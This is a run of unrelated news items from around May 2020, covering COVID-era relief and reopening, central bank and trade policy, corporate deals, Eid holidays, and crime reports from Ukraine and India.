Simultaneously, Dane County has allocated $245,000 in a partnership with Catholic Charities to be used as a moving fund for people who are experiencing homelessness during the COVID-19 pandemic.

According to Parisi, 410 homeless people are currently housed in hotels around the city of Madison. The moving fund will help those residents acquire housing to move to after leaving the hotels.

If someones been homeless and they find a house or an apartment but they might not have that security deposit and that first months rent, these movement funds will help for those upfront costs," he said.

Parisi said the county acted quickly at the outset of the COVID-19 pandemic to launch a series of initiatives around food security, small business relief, child care and having the hotels in place for people experiencing homelessness.

And we feel this eviction fund is the other major piece, Parisi said. County government is a big piece of the social safety net in our community. So thats why weve focused on the basic necessities of food, shelter, public health and local businesses. Surveys have estimated that nationally up to half the childcare centers could go out of business. And so, when we look at that, theres no way we are going to let that happen in Dane County. Its the same with all of these things that are just basic human needs: food, shelter and health care.

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Panasonic Corp.s equity investment in Blue Yonder, the end-to-end supply chain software provider, has been made via a secondary sale of shares values at an enterprise value of $5.5 billion. The investment gives Panasonic a 20 percent minority ownership stake and one seat on the board of directors of Blue Yonder.

The partnership builds upon a strong relationship between the two companies, including a joint venture in Japan announced in April of last year.

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Modern-day supply chains face a number of challenges including rapidly shifting demand, hyper-personalization of consumer needs, labor shortages and operational inefficiencies, so by further developing our relationship with supply chain software specialists Blue Yonder, I believe we will be able to make larger, more transformative contributions to a greater number of customers, stated Yasu Higuchi, representative director of Panasonic Corp. and chief executive officer of Panasonics Connected Solutions Co. In order to do so, we aim to gain a deeper understanding of Blue Yonders advanced global solutions and business model so that we can augment and further elevate our own solutions capability. Through this collaboration, we aim to become a global leading provider of frontline process innovation.

The investment, said Kazuhiro Tsuga, ceo of Panasonic Corp., will be a step for the business transformation that Panasonics Connected Solutions Co. is undertaking.

Together, the companies will work to accelerate Blue Yonders AI/ML platform to drive faster, more context-aware business decisions for global supply chains and accelerate the promise of the Autonomous Supply Chain. Blue Yonder and Panasonic will combine resources and work closely with partner companies in Japan to fuel growth by selling Blue Yonders Luminate solutions and present jointly developed solutions.

I am excited about this collaboration to realize our joint vision for a digital supply chain  where Blue Yonders platform synchronizes with Panasonics edge offerings to deliver more autonomous, successful business outcomes for retailers, manufacturers and logistics providers, said Girish Rishi, ceo of Blue Yonder. We look forward to working within our Joint Venture in Japan to deliver tremendous customer value.

Story continues

For More WWD Business News:

Crisis Management and the Coronavirus: Supply Chain, Technology and Infrastructure

As Coronavirus Spotlights Supply Chain Flaws, a New Model Emerges

Lessons for Brands to Overcome Supply Chain Challenges
Reserve Bank of India governor Shaktikanta Das on Friday announced a cut in the repo rate by 40 bps to 4 per cent. The reverse repo rate stands adjusted at 3.35 per cent from 3.75 per cent earlier. Further, the monetary policy committee (MPC) maintained an accommodative stance on the policy until growth revives.

The governor has announced these measures along with few others such as extension of moratorium on term loans as a solution to the ongoing crisis. However, these are not quite an antidote to deal with the problem at hand. Business Today spoke to M S Sriram, Professor at the Indian Institute of Management Bangalore and an expert in public policy, financial inclusion and problems of urbanisation. While he welcomes the measures announced by the RBI governor and finds them true textbook solutions to stimulate the economy from a monetary side, he feels more than the liquidity, issues around demand-side are what needed to be addressed.

"Reduction in repo rate from 4.4 per cent to 4 per cent and the similar other measures announced earlier by the RBI in March, are all attempts at trying to come up with a supply side fix to a problem which is a demand side problem." In a scenario where there is no credit offtake happening and where risk-averse banks would rather park their funds in RBI bonds than lend to industry, reductions in repo rate is unlikely to help. Also, the cash-strapped industry, faced with little clarity on the emerging consumer behaviour post lockdown or in a post-COVID world, appears to be in no mood to take more credit and add to the interest burden.

Even if there is a welcome extension of the moratorium on interest repayment, it has to be repaid as it is a loan and not a grant or an interest free loan. "What instead may help in the current scenario is measures by the government to put more money in the hands of people. The Rs 20 lakh crore stimulus package is far from adequate to spur the demand due to low net credit outflow from the government. Various reports suggested that it is not more than Rs 2.5 lakh crore and that the hit on the budget is, therefore, just little over 1 per cent of the GDP.

Further, RBI estimates suggested that the non-food credit growth decelerated to between 6 per cent and 7 percent in March 2020, from over 12 per cent in March 2019 due to NPA crisis and rising corporate debt. Similarly, credit growth to agriculture and allied activities decelerated to 4.2 per cent from 7.9 per cent during the same period and the credit growth to industry was down to 0.7 per cent from 6.9 per cent in March 2019. The deceleration in credit growth was also in the services sector and in personal loans. Now, with job cuts and no wages emerging as bigger worries, a wholesome effort at addressing the demand-side challenges could be the only hope.

Also Read: RBI rate cut: For home loan of Rs 50 lakh, EMI to reduce by this much

Also read: Mukesh Ambani scores 5th cheque! KKR to invest Rs 11,367 cr into Jio Platforms
PuroClean restoration specialists do deep Covid-19 cleaning for the Barlett Fire department in Tennessee. Steve White, the company's president and COO, instituted protocols from day one to ensure business operations continue in case of any unforeseen disaster, something he learned as a former U.S. Army infantry officer. PuroClean

If you want to see how an entrepreneur is fighting to keep his or her business alive on Main Street in the midst of the coronavirus pandemic, just look at Kathleen Ford, CEO of scDataCom in Savannah, Georgia. The former military nurse who runs a business security and video surveillance systems business with her daughter has dealt with medical trauma while caring for war-torn veterans back from Afghanistan and Iraq. "After living through that, I have empathy for my peers fighting an invisible war against Covid-19," she says, noting that she is also on the front lines working 24/7 to sustain her business during the economic slowdown. "Like many business owners, the coronavirus is kicking us in our teeth, and we've had to hunker down and figure out how to handle all the disruption." Despite all the challenges, the company's 16 employees have some assurance the company will be able to ride out this storm, thanks to Ford's leadership skills. She served 26 years in the U.S. Army Nurse Corp and retired as a colonel in 2012 overseeing a staff of 400. She also has a master's degree in strategic studies from the U.S. Army War College and a master's degree in nursing from Medical College of Georgia. "The military trains leaders to be very adaptable and find solutions as sudden crises arise," Ford says. "Those skills have helped me as a manager. I realized early on I had to pivot quickly to deal with market changes." That do-or-die mindset has helped scDataCom shift its customer focus and adjust its product and sales strategy as the pandemic impacted business operations. It meant leasing to some customers instead of selling expensive hardware during a cash crunch. It also meant focusing more on subcontracting services to replace lost business, especially in the small business customer sector.

The military trains leaders to be very adaptable and find solutions as sudden crises arise. Those skills have helped me as a manager. Kathleen Ford CEO of scDataCom in Savannah, Georgia, and former military nurse

While half of the company's business is to federal agencies and public sector entities like the Port Authority of Savannah, the St. Joseph's/Candler Hospital Network, Dept. of Defense, the other half is to commercial clients including small businesses. That commercial customer base has been hit hard as many have had to close for the shutdown. And that has affected scDataCom's bottom line. We were doubling our business every year and closed 2019 with $4.2 million in revenues. Now the company has seen sales stall, so we are hoping to finish this year flat. For many of the nation's 2.5 million veteran-owned small businesses, the financial strain from the coronavirus pandemic increases with each passing day. But the veterans say the skills they developed during their service have taught them how to handle the unexpected. According to a recent study by the Small Business Administration, former service members are 45% more likely to own small businesses than non-veterans, indicating that military duty often bolsters self-employment. The sector employs over 5 million workers and contributes more than $1 trillion to the U.S. economy. From these vet entrepreneurs come smart leadership lessons that every business owner could benefit from during these uncertain times.

Don't accept defeat

"The military teaches you not to accept defeat and excel at everything you do," says former Army Sergeant Nicholas Ripplinger, co-founder and president of Battle Sight Technologies in Dayton, Ohio. His three year-old company makes infrared products for the military and first responders, including the Dayton Police Department and the US Marine Corp and has continued to operate as an essential business over the last few months. You have to be resilient and look for ways to survive in chaos, he explains.

Former Army Sergeant Nicholas Ripplinger, co-founder and president of Battle Sight Technologies in Dayton, Ohio, says you have to be resilient and look for ways to survive in chaos. Ripplinger switched some of his production to hand sanitizer during the coronavirus pandemic. Battle Sight Technologies Inc.

To ensure all of the company's five employees stay on the payroll during the economic shutdown Ripplinger applied and received a $56,000 PPP loan under the federal government's CARES Act's Paycheck Protection Program. "That is helping us sustain our operations as the state of Ohio slowly opens its economy," he says.

Utilize the resources you have

Battle Sight Technologies has been able to grow his business during this new normal against tough odds. "I expect revenues to go from $1 million in 2019 to $6 million by year-end," Ripplinger projects. How did the company do that despite the shutdown that drastically impacted its business development efforts? After all, six of the trade shows it was participating were canceled and they are a major way to snare new customers. "We talked to existing customers and found there was high demand for hand sanitizer among emergency first responders, local organizations and the public. I was able to secure 20,000 pounds of it from the chemical manufacturer that makes microcapsules for our CrayTac chemiluminescence writing instrument line in March and switched part of our infrared production line so we could bottle it. We donated half of it to emergency workers and the other half we sold commercially. It helped with the shortfall but more important helped us not have to furlough or fire any employees and keep everyone on the payroll." More from Invest in You:

Here's a tax break you may not get during the pandemic

7 ways small businesses can avoid bankruptcy amid the coronavirus outbreak

This simple financial plan makes it easier to get through tough times

Secure your team

Paul Steven Erchinger, owner of three The UPS Store franchises in Texas and a former member of the National Guard, runs his business with the motto "Teamwork makes the dream work." As he explains, in the service one of the most important lessons you learn is to take care of your troops who are your team." Throughout the pandemic, Erchinger has worked alongside his 15 employees at each of his stores, demonstrating his commitment to the business  and to his customers. "You can't lead from the back; you have to be right in front showing your staff you care about their well-being and the task at hand," he says. Supplying his staff with all the PPE protection they needed and working with them through difficult times proved they were on a very important mission together. "We share the commitment that we are a fighting force serving the community."

Be a good communicator

Many military vets have been in life-or-death situations, affording them a different perspective on crisis leadership. "Keeping your team, your customers and everyone around you calm is key," says Mary Thompson, COO of Neighborly, a franchisor of 24 home services brands serving 10 million customers. "You have to allay their fears and instill that they are purpose-driven and must focus on the critical mission that lies ahead." She should know. A former captain in the Marines, Thompson believes "your job as a leader is to whistle in the dark; keep connecting with your people till you get to the light." Steve White, president and COO of PuroClean, a franchisor that provides restoration services for water, fire, mold and weather disasters, agrees. As soon as the crisis hit, the former U.S. Army infantry officer set up daily national coordination calls with his 60-person team conducted seven days a week. "This allowed us to discuss the challenges we faced and share ideas on how to tackle them, he says. "It was a way for us to get ahead of the curve as things unfolded." Today those calls are held once a week.

Always have a contingency plan

"You never know when something unexpected and potentially bad will happen, so train your people on contingency plans," says White. "And be sure to trust that they will execute those plans and get it done." As he explains, his company has protocols to ensure business operations can continue in case of any unforeseen disaster. These so-called "storm protocols" ensured the company had a remote work infrastructure in place that could be used for emergencies. Employees all had work-at-home technology tools to ensure they could do their daily jobs and be safe working from home. Those proved essential once the coronavirus arrived. "But even the best-laid plans can go out the window when the first shot is fired, so you have to be able to pivot and react to the situation as events evolve," says White. That means instituting new emergency protocols when needed. To help his 60 employees, deemed essential workers, work through the coronavirus, White made a video to explain how to don and take off PPE and safeguard themselves on job sites.

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Tim Coupland is the CEO of Arctic Hunter Energy Inc. (CVE:AHU). This report will, first, examine the CEO compensation levels in comparison to CEO compensation at companies of similar size. Then we'll look at a snap shot of the business growth. Third, we'll reflect on the total return to shareholders over three years, as a second measure of business performance. This process should give us an idea about how appropriately the CEO is paid.

See our latest analysis for Arctic Hunter Energy

How Does Tim Coupland's Compensation Compare With Similar Sized Companies?

Our data indicates that Arctic Hunter Energy Inc. is worth CA$545k, and total annual CEO compensation was reported as CA$96k for the year to June 2019. While we always look at total compensation first, we note that the salary component is less, at CA$84k. We took a group of companies with market capitalizations below CA$278m, and calculated the median CEO total compensation to be CA$217k.

Now let's take a look at the pay mix on an industry and company level to gain a better understanding of where Arctic Hunter Energy stands. Talking in terms of the sector, salary represented approximately 59% of total compensation out of all the companies we analysed, while other remuneration made up 41% of the pie. Arctic Hunter Energy is paying a higher share of its remuneration through a salary in comparison to the overall industry.

This would give shareholders a good impression of the company, since most similar size companies have to pay more, leaving less for shareholders. Though positive, it's important we delve into the performance of the actual business. You can see, below, how CEO compensation at Arctic Hunter Energy has changed over time.

TSXV:AHU CEO Compensation May 22nd 2020

Is Arctic Hunter Energy Inc. Growing?

Arctic Hunter Energy Inc. has seen earnings per share (EPS) move positively by an average of 8.1% a year, over the last three years (using a line of best fit). Its revenue is down 9.2% over last year.

Story continues

I generally like to see a little revenue growth, but I'm happy with the EPS growth. In conclusion we can't form a strong opinion about business performance yet; but it's one worth watching. We don't have analyst forecasts, but shareholders might want to examine this detailed historical graph of earnings, revenue and cash flow.

Has Arctic Hunter Energy Inc. Been A Good Investment?

Given the total loss of 82% over three years, many shareholders in Arctic Hunter Energy Inc. are probably rather dissatisfied, to say the least. It therefore might be upsetting for shareholders if the CEO were paid generously.

In Summary...

It appears that Arctic Hunter Energy Inc. remunerates its CEO below most similar sized companies.

Tim Coupland is paid less than CEOs of similar size companies, but growth hasn't been particularly impressive and the total shareholder return over three years would leave many disappointed. I am not concerned by the CEO compensation, but it would be good to see improved performance before pay increases. On another note, we've spotted 3 warning signs for Arctic Hunter Energy that investors should look into moving forward.

Of course, you might find a fantastic investment by looking elsewhere. So take a peek at this free list of interesting companies.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
The suspect has been detained.

A shooting rampage has been reported in Zhytomyr region as a group of longtime friends who came from Kyiv to fish in a pond in the village of Novoselytsia, Popilnia district, have been killed by a local hunter.

"According to investigators, there were nine people, including person Z., born in 1962, who used the pond on lease. After drinking alcohol, six vacationers went to bed in a shed standing on the shore of the pond. Two stayed to drink alcohol with the lessee. At about 1:00 a.m. [on May 22], the lessee, who is a professional hunter, suddenly, in a burst of temper, opened fire from his IZh hunting shotgun," Deputy Interior Minister Anton Gerashchenko gave details of the crime on Facebook on May 22.

Read alsoEx-FM Kozhara suspected of businessman's murder released on bail

"He first killed the two that were next to him. Then he started shooting at the six sleeping people. He shot seven people in total," Gerashchenko added.

The suspect was detained, he is in custody.

"The gun from which the massacre was committed was seized. The detainee will be sent for forensic psychiatric tests after which the court will decide whether he is mentally defective or not," the deputy minister said.

"I think that the court will have no other ruling than life imprisonment for the person who has taken the life of seven people," he added.

The investigation is under way under Part 2 of Article 115 of the Criminal Code of Ukraine  the intended killing of two or more people, Zhytomyr region's police said. The suspect is facing up to 15 years in prison or life imprisonment.
US Senate Passes Bill That Could Block Chinese Companies From Stock Exchanges

Sputnik News

10:18 GMT 21.05.2020

In September 2019, reports emerged suggesting that the Trump administration was considering the possibility of limiting US investment into the Chinese economy and delisting Chinese companies from US stock exchanges. The White House, however, dismissed the reports as untrue.

On Wednesday, the US Senate passed a law that could prevent many Chinese companies from listing their shares on US exchanges.

The bill, promoted by Republican Senator John Kennedy and Democratic Senator Chris Van Hollen, will require companies to confirm that they are not owned or controlled by foreign governments.

"There are plenty of markets all over the world open to cheaters, but America can't afford to be one of them. China is on a glidepath to dominance and is cheating at every turn," Kennedy said in a statement.

According to the bill, companies will have to follow US standards for audits and other financial regulations. Previously, Chinese companies did not have to meet these requirements in order to operate in the US exchanges.

The law could be applied to any foreign company that seeks to gain access to US capital. However, lawmakers note that increased disclosure requirements are aimed primarily at Beijing. The bill will be submitted to the House of Representatives for approval.

In late September 2019, the Treasury said that Washington was not planning to block the Chinese companies from the listing of shares on US stock exchanges.

"The administration is not contemplating blocking Chinese companies from listing shares on US stock exchanges at this time. We welcome investment in the United States," the statement on Twitter read.

Shortly thereafter, White House Trade Adviser Peter Navarro said that reports that the United States plans on delisting Chinese companies from US stock exchanges were highly inaccurate.

"That story, which appeared in Bloomberg: I've read it far more carefully than it was written. Over half of it was highly inaccurate or simply flat-out false," Navarro told CNBC news at the time.

The report by Bloomberg came ahead of another round of US-China trade talks in October, as the two countries have been engaged in a trade dispute since June 2018, when the United States imposed the first round of tariffs on Chinese imports, prompting Beijing to respond in kind. Since then, the two countries have exchanged several rounds of tariffs and have been engaged in talks to settle their trade-related disagreements.

A Sputnik

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President Donald Trump holds a protective mask as he speaks while touring Ford's Rawsonville Components Plant, in Ypsilanti, Mich., on May 21, 2020. (Alex Brandon/AP Photo)

Photo Surfaces of Trump Wearing Mask at Ford Plant

During a visit to a Ford factory in Michigan Thursday, President Donald Trump briefly donned a mask.

A photograph of Trump wearing the navy blue mask stamped with the presidential seal circulated on social media and was published by NBC News. It shows the president interacting with Ford Motor Company Executive Chairman Bill Ford, Jr., who is also wearing a mask.

Asked why he wasnt wearing a face covering publicly, Trump said he briefly put on a mask in the back area but that he didnt want to give the press the pleasure of seeing it.

Trump was also photographed while teasingly holding up a clear shield in front of his face.

The White House has argued that there is no need for Trump to wear a mask because he is tested regularly for COVID-19 and has not tested positive.

In a statement, Ford said Trump wore a mask during a private viewing of three classic Ford GT models, adding, The president later removed the mask for the remainder of the visit.

Trump visited Ypsilanti, outside Detroit, to tour the Rawsonville Component Plant that had been repurposed to manufacture ventilators, the medical breathing machines governors begged for during the height of the COVID-19 pandemic.

In our nations war against the invisible enemy, the hardworking patriots here today answered the call to serve. You proved that the American worker is Built Ford and youre Built Ford Tough. A great expression, Trump said, praising the companys response to calls to build ventilators, which were in short supply in the early stages of the outbreak of the Chinese Communist Party (CCP) virus, the novel coronavirus that causes COVID-19.

America is very proud of Ford. Right here at the Rawsonville Component Plant, youre building a great medical arsenal to defeat the virus and cement Americas place as the leading manufacturer and exporter of ventilators anywhere in the world, the president said.

With your help, not a single American who has needed a ventilator has been denied a ventilator. Not one. And as you remember, we took over empty cupboards. The cupboards were bare, Trump said, referring to the paucity of equipment in the Strategic National Stockpile, which the administration recently announced was being revamped and replenished. He said that over the next few months, over 100,000 new ventilators would be added to the stockpile and that foreign allies that desperately need them have been offered 14,000.

Driven by the love and sweat and devotion of everyone here today, were saving lives, were forging ahead, and, as of this week, the beating heart of the American auto industry is back open for business, Trump said, later taking a jab at Democrat governors, who he suggested were stalling on reopening.

You have a lot of, unfortunately, in this case Democrat governors [who] think its good politics to keep it closed, Trump said. I think theyre being forced to open, frankly, the people want to get out. Youll break the country if you dont.
The Muslim Eid Al-Fitr holiday will begin in Egypt on Sunday, Dar El-Iftaa, the country's institution for religious edicts, announced on Friday.

"The Shawwal crescent moon was not visible across the country  Saturday will be the last day of Ramadan," Egypt's Grand Mufti Shawki Allam said in a televised statement.

Egypt has added two more days to the annual three-day Islamic holiday, which marks the end of the month of Ramdan and is celebrated by Muslims worldwide, as it attempts to reduce crowding during the religious holiday, which is typically associated with family gatherings and packed public places.



All employees of public and private sectors will now be off from 24 to 28 May.

This year, Muslims in Egypt and around the world are witnessing the religious feast amid unprecedented restrictions and preventative measures due to the coronavirus pandemic.

The country has prolonged the curfew hours during the religious holiday, bringing forward its start to 5 pm instead of 9 pm, as part of its bid to curb the spread of the contagion.

The Eid's measures include shutting malls and parks and suspending public transport.

The suspension of public transport includes mass transit, underground metro, public buses and intercity trains nationwide. Those who violate the measures face fines of up to EGP 4,000 ($252) or imprisonment.

The mass Eid Al-Fitr prayers will be performed at home this year as mosques continue to be closed.

Starting 30 May, and for two weeks, the curfew will run from 8 pm to 6 am, as the country aims to gradually reopen more businesses and some venues including sporting clubs and restaurants from mid-June.

Eid Al-Fitr is one of the two religious holidays in Islam, along with Eid Al-Adha, which falls on the tenth day of Dhu al-Hijjah, the twelfth month of the Islamic calendar.

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ALBANY  Two lobbying groups are asking the state to allow New Yorks restaurants and bars to begin serving in-house customers again during the second phase of economic reopening instead of two weeks later during the third phase, as is the case under the current state plan.

The New York State Restaurant Association and the Empire State Restaurant & Tavern Association base their requests on the federal Centers for Disease Controls Interim Guidance for Restaurants and Bars. The publication, distributed after New Yorks reopening timeline was created, offers multistep recommendations for gradual reopening, starting with limited bar and dining-room capacity and moving toward increasing capacity, with social distancing and strict training and cleaning regimens.

The federal plan would allow restaurant and bar reopening to start as each of New Yorks 10 economic zones reaches Phase 2, which at the moment has been reserved for banking/finance, insurance, real estate and in-store retail. Restaurants, bars and hotels are in Phase 3, while arts venues, recreation and education are in Phase 4.

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There is a two-week period between the reopening of each phase. The first, covering construction, agriculture and manufacturing, began Wednesday in the Capital Region. Under the states timeline, provided health metrics related to the coronavirus pandemic continue to be met, local restaurants and bars would be allowed to reopen June 17, with capacity restrictions and other rules expected to be in place. The lobbying groups would like to see that pushed up to June 3, when Phase 2 reopenings are set to start locally.

NYSRAs proposal calls for outdoor dining only during Phase 2, with inside service to come later; ESRTA advocates in Phase 2 for all table-service dining areas to be limited to 50 percent capacity, bars to 25 percent, with bar patrons required to be seated. Capacities would expand in stages under both plans.

Our plan relies on guidance provided by the CDC and the FDA, so our plan for reopening restaurants and bars is based on science and facts, said Scott Wexler, executive director of the restaurant and tavern association. He said, It takes measured steps to loosen restrictions on restaurants and bars that take the necessary steps to protect the public health. And its consistent with (Gov. Andrew Cuomos) objective to open up businesses in a safe and smart way.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

Were trying to get traction on outdoor dining to start with, said Melissa Fleischut, CEO of the New York State Restaurant Association. She noted that Connecticut began to allow outdoor dining at restaurants on Thursday.

In a follow-up statement, she added, "We are formally asking for expanded outdoor dining capabilities (and) an emphasis on social distancing requirements over capacity limits. ... Just about every restaurant in the state is teetering on the edge of financial hardship, and we need to do everything possible to keep them afloat."

Wexler and Fleischut said they have not received an official state response to their proposals. Albany County Executive Dan McCoy, who is a member of the Capital Region Control Room group that is leading local reopening efforts, said through a spokeswoman that he did not have a direct comment on the lobbying groups proposals. He said, I want to reopen our county and our region with public health and safety as a priority. A spokesman for Cuomos office did not immediately reply to a request for comment.

Area restaurateurs generally would like to be able to offer table and bar service again as soon as possible, to start to offset revenue losses that total $5.5 billion statewide since mid-March, according to NYRSA figures. But local owners said competing proposals and a changing timeline would be challenging in terms of hiring, training and ordering.

Id rather have one set date that we know we can work toward, said Matt Baumgartner, who owns three Capital Region locations of Wolffs Biergarten and the West Sand Lake bar and event venue June Farms. If it keeps changing, that makes reopening more difficult.

Vic Christopher, owner of the five-business Clark House Hospitality in Troy, said, A delay or series of delays would be easier to navigate than  start dates earlier than anticipated.
Centers for Disease Control and Prevention

The city of Midland Health Department is currently conducting its investigation on one new confirmed case of COVID-19 in Midland County, bringing the overall case count to 124.

The 124th confirmed case is a female in her 50s who was tested by a Midland Health. She is currently self-isolating at home. The source of exposure is contact to known case.
As coronavirus cases begin to soar in nations that initially avoided widespread outbreaks in the early stages of the coronavirus pandemic, South Africa has emerged as a major concern.

Modelling from within the country predicts close to 50,000 people could die in just six months from the virus.

Its death toll currently stands at 339.

South Africas surprise epicentre has become the tourist hotspot of Cape Town in the nations south, accounting for nearly two thirds of South Africas cases.

The city, with a population of just over 4 million had more than 12,000 confirmed cases as of Thursday, representing 63 per cent of South Africa's 19,000 cases and about 10 per cent of Africa's 95,000 cases.

Children social distancing at a nursery near Cape Town wait with bowls to receive soup handed out by the government to prevent the poor from starving amid the pandemic. Source: Getty

Gauteng province containing Johannesburg, South Africa's largest city, and the capital, Pretoria, had been expected to be the country's epicentre with its population density and poverty levels, but Cape Town defied predictions with high levels of community transmission.

No model upfront predicted what we see in Western Cape (province), Health Minister Zwelini Mkhize told journalists Thursday.

The explosion of cases in Western Cape is out of the expected range and it may be that we need to have additional interventions to try and contain those numbers.

Prompting concern away from the epicentre, alarming images have begun to emerge from Pretoria where migrant workers struggled to find food, leaving them to queue for hours  and kilometres  to access free meals from aid workers.

South Africas government has funded a scheme that ensures its poverty-stricken communities dont starve however aid workers have been critical of the handouts which require a national ID card, reducing its accessibility.

Thousands in Pretoria queue for charity hand outs amid the pandemic. Source: Getty

High-density areas filled with migrant workers in poorer nations have been a concern among experts, with India and Brazil currently suffering from virus spikes.

The reported number of cases in many low income countries may be the tip of the iceberg, epidemiologist Professor Raina MacIntyre, from the University of NSW, told Yahoo News Australia.

Story continues

Countries that are seeing a rising trend need to review each of the pillars of disease control and also look at urban slums in megacities. These could be hot spots for transmission, where social distancing is not possible due to crowded conditions.

Cape Town's mountains and beaches may have contributed to its high number of COVID-19 cases. With direct flights to several European capitals, it is believed that tourists not showing symptoms imported the virus and it began to spread undetected.

Cases across the country are now growing exponentially, close to a 1000 cases a day.

South Africa [in recent days] has recorded some of the highest numbers theyve had so far so theyve got a lot of work to do, University of Queensland virologist Professor Ian Mackay told Yahoo News Australia.

Cape Town is expected to reach its peak of cases around the end of June, while the rest of South Africa is expected to peak in August or September.

An aerial view of the thousands queueing in Pretoria. Source: Getty

45,000 deaths predicted in six months

South Africa may see between 40,000 to 45,000 deaths by November, according to the Modelling and Simulation Hub, Africa, a group of scientists and academics advising the government.

By year's end some 13 million of South Africa's 57 million people could be infected, their study said.

While South Africa reportedly has adequate hospital beds it remains short of intensive care facilities. It has about 3,300 intensive care beds but predictions suggest more than 20,000 could be needed.

It is not just a question of beds, it is trained staff and ventilators that will be needed and those are difficult to provide quickly, said Juliet Pulliam, director of the South African Center for Epidemiological Modelling and Analysis, who contributed to the study.

Cape Town could experience a shortage of ICU beds by the end of June, she warned.

Cape Town and Western Cape province are six to eight weeks ahead of the rest of South Africa in the outbreak, health experts said.

The lessons we are learning now, we are sharing with the rest of the country, said Dr Nomafrench Mbombo, Western Cape's top health officer.

Khayelitsha, a shantytown of nearly 500,000, is one of Cape Town's hot spots.

A field hospital is being constructed to increase the capacity of Khayelitsha District Hospital and should open by June 1, according to Doctors Without Borders.

Testing delay adds to South Africas woes

One local problem is a delay in test results, in some cases up to eight to 10 days, said Dr Claire Keene, medical coordinator for the Doctors Without Borders project.

Another is that some healthcare workers have tested positive.

A second hot spot in the outbreak is the Tygerburg area near Cape Town International Airport.

Cape Town has suffered a massive economic slump from the dive in tourism and lockdown restrictions, said Western Cape premier Alan Winde, estimating that 200,000 jobs have been lost and 1.2 million to 1.8 million people in the province are hungry.

Mr Winde, in self-isolation after coming in contact with a TV cameraman who later died of COVID-19, wants restrictions relaxed to boost economic activity.

We need to see the economy open up with the new normal operations, but without putting our health system under severe strain, he told reporters. We need to keep the curve as flat as possible.

Meanwhile the rest of South Africa eagerly anticipates the relaxation of lockdown restrictions on June 1.

Some government officials have said Johannesburg and other parts of the country will allow more people to return to work and resume the sale of alcohol and cigarettes.

Schools will resume classes, starting with students in grades 7 and 12, but many teachers and parents have expressed concern they will be exposed to the virus.

with AP

Do you have a story tip? Email: newsroomau@yahoonews.com.

You can also follow us on Facebook, Instagram and Twitter and download the Yahoo News app from the App Store or Google Play.
The Federal Government has declared Monday, May 25, 2020, and Tuesday 26th, as public holidays to mark Eid-el-Fitri celebration in Nigeria.

Minister of Interior, Ogbeni Rauf Aregbesola, made the announcement in a statement issued by the Director of Press in the Ministry, Mohammed Manga, on Thursday.

Aregbesola expressed concern over the spate of ethnic conflicts that has resurfaced in some parts of Northern Nigeria in recent times.

Nigerians to see themselves as a single entity and learn to tolerate one another despite their ethnic and religious differences, he said.

He called on Muslim faithful to replicate the life of kindness, love, tolerance, peace and good neighbourliness as exemplified by the Holy Prophet Muhammad (SAW).

Aregbesola further assured Nigerians that the administration of the President Muhammadu Buhari was fully committed to battling the coronavirus disease which has infected over 7,000 persons across the country.
Satish Kaul Appeals To Industry For Financial Help

The veteran actor was quoted by PTI as saying, "I'm staying in a small rented place in Ludhiana. I was staying in an old age home earlier but then I'm here at this place with my good samaritan Satya Devi. My health is ok, I'm doing fine but the lockdown has made matters worse. I'm struggling for medicines, groceries and basic needs. I appeal to the industry people to help me. I got so much love as an actor, I need some attention now as a human in need."

The Actor Stayed In Old Age Home For 2 Years

Kaul revealed that his acting school project, which he started around 2011 after shifting to Punjab from Mumbai, wasn't a success. He revealed that the project came to a halt and his work was affected after he fractured his hip bone in 2015. He was bed-ridden in hospital for two and a half years. Then, he shifted to an old age home, where he stayed for two years.

Satish Says He's Raring To Act Again

He further told PTI that he feels grateful that people showered so much love on him when he was in his prime. He added that the fire to act is still alive in him, and wished if someone gives him a role even today, he would do it. He concluded by saying that he is raring to act again.

Priti Sapru On Satish Kaul

On the other hand, actress Priti Sapru was constantly in touch with him. She revealed to TOI that she had visited him during a shoot and had tried to raise funds for him and wrote to the Punjab government, who gave him Rs 5 lakh. She also added that others helped him too.

Satish's Wife & Son Didn't Leave Him After He Hit A Rough Patch

She clarified that Satish's wife and son didn't leave him after he hit a rough patch. She told the leading daily, "They had parted ways soon after their marriage. Back then, he had things going fine for him."
The new Huawei chip ban rule to keep the Chinese OEM in check has some loopholes the US may close in the near future.

US considers closing Huawei chip ban loopholes in new rule

The new rule mandates that global chipmakers using American technology must request a selling license from the Federal Government before selling chips to Huawei. However, the new rule is lacking, according to some US regulators.

First, the new chip ban only applies to Huawei-designed chips. Next, the rule only prohibits shipments to Huawei, not shipments to Huawei clients. With these two loopholes, Huawei could still ship, say, TSMC chips to clients that it doesnt design. It wouldnt have to receive chips to ship them and still make a profit.

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Why patch up these two loopholes?

Some would say that, with the current US rule, Huawei cannot do business with global chipmakers. Since the company cannot design its chips with chipmakers, the companys fortunes will decline. That is essentially what the new chip ban should do, without amendment. There is no need, some say, to fix the loopholes.

And yet, the company may use loopholes to find a workaround to the new ban. Huawei has done this in the past. For example, Huawei has purchased from US suppliers under codenames such as Skycom (Iran), DirectPoint (Sudan), and Canicula (Syria). So, Huawei isnt a stranger to finding workarounds.

New rule patches holes of the original ban

The original ban against Huawei from last May (2019) prohibits Huawei from buying from American companies that dont have a special US license or selling its own products. At the time, however, only US chipmakers were under US regulations. With the new ban, however, global chipmakers using US technology must now secure a US license before doing business with Huawei. The rule still needs some work, however, which is why another revision is necessary.

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As of last May, US President Donald Trump issued an Executive Order against the Chinese OEM. In less than a weeks time, Google revoked Huaweis Android license. Since then, Huawei has had a few license extensions to continue updating its current Android smartphones. Yet, Huawei is no longer an Android OEM and can no longer ship Android smartphones bearing Googles mobile operating system.

Huawei USA Chief Security Officer Andy Purdy says that the latest US ban on Huawei is nothing more than an attack on China. Americas real issue is with China, Purdy says in a recent Bloomberg interview.
New Delhi :

Delhis Saket court today pronounced the quantum of sentence for the three convicted in the Jigisha Ghosh murder case, news agency reported. Two out of three convicts are awarded death sentence and one convict is sentenced to life imprisonment.



The three men are convicted for murdering and robbing IT executive Jigisha Ghosh here in 2009 on Monday, with the Delhi Police seeking death penalty for them saying they killed her for "pleasure" and showed no remorse.



